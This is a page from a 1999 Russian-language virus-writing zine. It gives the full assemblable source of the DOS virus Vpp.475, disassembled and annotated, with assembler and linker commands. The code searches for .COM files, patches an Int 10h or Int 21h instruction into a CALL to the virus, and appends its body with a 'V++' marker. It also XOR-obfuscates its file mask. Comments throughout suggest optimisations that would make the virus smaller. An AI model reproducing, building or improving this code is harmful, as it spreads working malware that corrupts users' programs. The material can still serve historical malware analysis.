- [Duke's Virus Labs #8] - [Page 10] - Disasm of Vpp.475 (c) by CrkV ===== Cut here ===== ;Вирус Vpp.475 дизассемблирован 05.07.1999 (c) CrkV ;tasm vpp.asm /m ;tlink vpp.obj /t ;В тексте кроме основных комментариев содержатся: ;1) Рекомендации по оптимизации ;-)), начинающиеся с OPTI. Например OPTI-LEA, ;т.е. эффективнее сразу получить адрес (Lea Dx,[Bp+1Eh] экономит 1 байт, ;по сравнению с Mov Dx,Bp, Add Dx,1Eh). Конечно я понимаю, что этот зверек ;демонстрационный, но когда видна явная неэффективность кода, я предпочитаю ;указать на это ;-))) ;2) Предупреждения о возможности ошибок - Warning. .model tiny .code .286 Org 100h Vpp: Entry_Point: ;WARNING - А если Bp нужно проге ??? Pop Bp ;получить адрес возврата Push Bp ;запихаем его в стек PushA ;сохраним все регистры Xchg Bp,Ax ;Ax:=Bp ;WARNING - хочется заметить, т.к. переход на файл осуществляется не ;сразу то значения регистров, в том числе сегментных, НЕ ОПРЕДЕЛЕНЫ !!! ;Кроме того возможно изменение флагов (н-р Cld), а восстановление ;не предусмотрено :-((( Call $+3 My_Point: Pop Bp ;Bp:=Offset My_Point Sub Bp,Offset My_Point - Offset Entry_Point Cmp Bp,100h ;Исходник ? OPTI-можно выкинуть Jnz @Restore_Byte @Ok_Restore: Call Get_Mask Mov Ah,4Eh ;FindFirst Mov Cx,0FEh Mov Dx,Bp ;OPTI-LEA Add Dx,Real_Mask @Find_File: Int 21h Jc @Exit ;Подходящих файлов больше нет Call Check_File Mov Ah,4Fh ;FindNext Jmp @Find_File @Exit: Mov Si,Bp ;OPTI-Lea Add Si,Save_DTA Mov Dx,[Si] Mov Ah,1Ah ;Set DTA Int 21h ;Восстанавливаем программную DTA PopA ;Восстанавливаем регистры Xchg Bp,Ax ;Ax:=Bp (Сохраняем Bp) Pop Ax Cmp Ax,00h Je @Jmp_Return ;исходник (OPTI-не обязательно) Sub Ax,03h ;Зашли через Call @Jmp_Return: Push Ax Xchg Bp,Ax ;Bp:=Ax (Восстанавливаем Bp) Ret ;Выходим из вируса @Restore_Byte: Sub Ax,3 Mov Si,Bp ;OPTI-Lea Add Si,Var_Word2 Mov [Si],Ax Mov Si,Ax Mov Di,Bp ;Opti-Lea Add Di,Save_Byte Xchg Si,Di Mov Cx,3 ;OPTI-выкинуть Cld MovSW MovSB Mov Ah,2Fh ;Get DTA Int 21h Mov Si,Bp ;Opti-Lea Add Si,Save_DTA Mov [Si],Bx ;Сохраняем DTA (Warning) ;Вообще-то тут ошибка, т.к. никто не мешает даже .COM программе установить ;DTA на сегмент отличный от PSP. Поэтому надо сохранять и сегмент DTA Mov Ah,1Ah ;Set DTA Mov Dx,Bp ;Opti-Lea Add Dx,New_DTA Int 21h ;устанавливаем свою DTA Jmp @Ok_Restore ;--------------------------------------- Check_File Proc Mov Ah,2Fh ;Get DTA Int 21h Xchg Bx,Di ;Di:=Bx (Offset DTA) Mov Ax,3D02h ;Open File (чт./запись) Mov Dx,Di ;Opti-Lea Add Dx,1Eh ;найденное имя в DTA Int 21h ;Warning ;А вдруг файл не откроется ;-))) ??? Xchg Bx,Ax ;Bx:=Ax (File Handle) Mov Ax,4202h ;LSeek file Mov Cx,00h ;OPTI-SUB Mov Dx,00h ;OTI-CWD Int 21h ;на выходе Dx:Ax - размер файла Cmp Ax,0400h ;1024 Jle @Not_Infected ;файл маловат Cmp Ax,0C350h ;50000 (а почему не 60000 ??? ;-)) Jnb @Not_Infected ;а вот этот велик ;-)) ;Warning - Dx тоже бы не мешало проверить. Mov Si,Bp Add Si,Save_Ofs Mov [Si],Ax Sub Ax,03h Xchg Dx,Ax ;Dx:=Ax Mov Ax,4200h Mov Cx,0000h ;OPTI-Lea Int 21h ;устанавливаем ук. на конец файла - 3 Mov Ah,3Fh ;Read File Mov Dx,Bp ;Opti-Lea Add Dx,Var_Word Push Dx Mov Cx,02h Int 21h ;Считаем 2 байта Pop Si Mov Ax,[Si] ;OPTI-LODSB Cmp Ax,'+V' ;V+ - метка вируса ;OPTI - а зачем 3 байта в конец ? (V+ тоже красиво ;-)) Je @Not_Infected ;возможно заражен Mov Ax,4200h ;Lseek File Xor Cx,Cx ;устанавливаем указатель на начало Mov Dx,Cx ;OPTI-Cwd Int 21h Call Infect @Not_Infected: Mov Ah,3Eh ;Close File Int21h EQU $ - Offset Entry_Point ;OPTI - а поближе к началу найти не судьба ??? ;-)) Int 21h Ret Check_File EndP ;--------------------------------------- Infect Proc PushA Mov Dx,Bp Add Dx,Buffer ;OPTI-Lea Push Dx Mov Ah,3Fh ;Read File Mov Cx,400h Push Cx Int 21h ;Считываем 1024 байта Pop Cx Mov Si,Bp ;OPTI-Lea Add Si,Int10h Pop Di Push Bx Mov Bx,02h ;OPTI-Mov Bl,2 Call Scan ;Проверяем наличие слова 10CDh (Int 10h) Pop Bx ; Cmp Di,0FFFFh ;OPTI-Inc Di Cmp Di,1234h ;Tasm тута оптимизирует ;-)) Org $ - 2 ;для совместимости кода dw 0FFFFh Je @Scan_CD21h ;не нашли поищем 21CDh Sub Di,Buffer Sub Di,Bp Call Cont_Infect ;Поедем заражать @Exit_Infect: PopA Ret @Scan_CD21h: Mov Di,Bp ;OPTI-Lea Add Di,Buffer Mov Si,Bp Add Si,Int21h ;OPTI-Lea Push Bx Mov Bx,02h ;OPTI-Mov Bl,02h Call Scan Pop Bx ; Cmp Di,0FFFFh ;OPTI-Inc Di Cmp Di,1234h ;Tasm тута оптимизирует ;-)) Org $ - 2 ;для совместимости кода dw 0FFFFh Je @Exit_Infect ;Тут нет и 21CDh, придется отвалить Sub Di,Buffer Sub Di,Bp Call Cont_Infect ;Поедем заражать Jmp @Exit_Infect ;OPTI - и вообще этот кусок идентичен поиску 10CDh Infect EndP ;--------------------------------------- Int10h EQU $ - Offset Entry_Point Int 10h ;--------------------------------------- Cont_Infect Proc Mov Ax,4200h ;Lseek File Sub Cx,Cx Mov Dx,Di ;тут будет переход на тело вируса Int 21h Mov Si,Bp ;OPTI-Lea Add Si,Save_Ofs Mov Ax,[Si] Sub Ax,Di Sub Ax,3 ;вычисляем смещение для Call вирус Mov Si,Bp ;OPTI-Lea Add Si,Save_Byte Mov Byte Ptr [Si],0E8h ;Call Entry_Point Mov [Si+01h],Ax Xchg Si,Dx ;Dx:=Si Mov Ah,40h ;Write File Mov Cx,03h Int 21h ;Записали команду перехода Mov Ax,4202h ;Lseek File Sub Dx,Dx ;Opti-Cwd Mov Cx,Dx Int 21h ;ушли на конец файла Mov Si,Bp ;Opti Lea Add Si,Buffer Add Si,Di Mov Di,Bp ;OPTI-Lea Add Di,Save_Byte Mov Cx,03h ;OPTI-лучше MovSW, MovSB Rep MovSB Mov Dx,Bp Mov Cx,Vir_Lenght Mov Ah,40h ;Write_File Int 21h ;Дописали вирус Ret Cont_Infect EndP ;--------------------------------------- Scan Proc Push Ax Push Bx Push Cx Push Dx Cld Mov Al,[Si] ;0CDh @Next_Scan: Repne ScaSB Jz @Ok_Scan Mov Di,0FFFFh Jmp @Exit_Scan @Ok_Scan: Push Cx Push Di Push Si Mov Cx,Bx Dec Di Rep CmpSB Je @Find_Scan Pop Si Pop Di Pop Cx Jmp @Next_Scan @Find_Scan: Pop Si Pop Di Dec Di Pop Cx @Exit_Scan: Pop Dx Pop Cx Pop Bx Pop Ax Ret Scan EndP ;--------------------------------------- Get_Mask Proc PushA Mov Si,Bp ;OPTI-Lea Add Si,Mask_Com Mov Di,Bp ;OPTI-Lea Add Di,Real_Mask Mov Cx,02h @Next: LodSB Xor Al,'V' StoSB LodSB ;OPTI-LodSW ... Xor Al,'+' StoSB LodSB Xor Al,'+' StoSB Loop @Next PopA Ret Get_Mask EndP ;--------------------------------------- Mask_Com EQU $ - Offset Entry_Point db '*' Xor 'V' db '.' Xor '+' db 'c' Xor '+' db 'o' Xor 'V' db 'm' Xor '+' db 00h Xor '+' Save_Ofs EQU $ - Offset Entry_Point dw ? Save_Dta EQU $ - Offset Entry_Point dw ? Save_Byte EQU $ - Offset Entry_Point db 3 Dup (?) Var_Word EQU $ - Offset Entry_Point dw ? StrVpp db 'V++' Vir_Lenght EQU $ - Offset Entry_Point ;1DBh ;--------------------------------------- Var_Word2 EQU $ - Offset Entry_Point dw ? Real_Mask EQU $ - Offset Entry_Point db 12h Dup (?) New_DTA EQU $ - Offset Entry_Point Buffer EQU Vir_Lenght + 100h ;--------------------------------------- End Vpp ===== Cut here =====